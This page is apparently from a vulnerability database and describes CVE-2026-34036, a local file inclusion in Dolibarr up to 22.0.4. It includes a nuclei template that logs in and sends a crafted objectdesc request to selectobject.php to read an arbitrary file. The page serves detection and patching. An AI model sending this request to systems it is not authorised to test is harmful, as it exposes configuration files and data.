Browse / CVEs / CVE-2026-34036
CVE-2026-34036· dolibarr / dolibarr· CWE-98
Dolibarr <=22.0.4 - Local File Inclusion
mediumseverity
6.5CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it
Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
Impact
Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
Fix
Update to the latest version once patches are available.
How to confirm it
Send: GET /
Send: POST /index.php?mainmenu=home
Positive when: status_code == 302
Send: GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0
Positive when: contains "FilesMatch" and "SetHandler" AND not contains "actionlogin" or "Login @"Run it with nuclei: nuclei -id CVE-2026-34036 -u <target>
The full check
id: CVE-2026-34036
info:
name: Dolibarr <=22.0.4 - Local File Inclusion
author: y0no
severity: medium
description: |
Dolibarr <= 22.0.4 contains a local file inclusion caused by manipulation of the objectdesc parameter and a fail-open logic flaw in restrictedArea() in /core/ajax/selectobject.php, letting authenticated users with no specific privileges read arbitrary non-PHP files.
impact: |
Authenticated users can read arbitrary non-PHP files, potentially exposing sensitive configuration and data files.
remediation: |
Update to the latest version once patches are available.
reference:
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r
- https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a
- https://nvd.nist.gov/vuln/detail/CVE-2026-34036
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2026-34036
epss-score: 0.01464
epss-percentile: 0.73866
cwe-id: CWE-98
metadata:
verified: true
max-request: 3
vendor: dolibarr
product: dolibarr
shodan-query: http.title:"Dolibarr"
tags: cve,cve2026,dolibarr,lfi,auth,vuln,authenticated
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: csrf
part: body
group: 1
regex:
- 'name="token" value="([a-f0-9]+)"'
internal: true
- raw:
- |
POST /index.php?mainmenu=home HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
token={{csrf}}&actionlogin=login&loginfunction=loginfunction&username={{username}}&password={{password}}
matchers:
- type: dsl
dsl:
- 'status_code == 302'
internal: true
- raw:
- |
GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:includes/.htaccess:0 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "FilesMatch"
- "SetHandler"
condition: and
- type: word
part: body
words:
- "actionlogin"
- "Login @"
condition: or
negative: trueReferences
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-2mfj-r695-5h9r
- https://github.com/Dolibarr/dolibarr/commit/743c22e57c0b2a017d6b92bec865d71ce6177a6a
- https://nvd.nist.gov/vuln/detail/CVE-2026-34036
Use this check only on systems you are authorised to test. Where the data comes from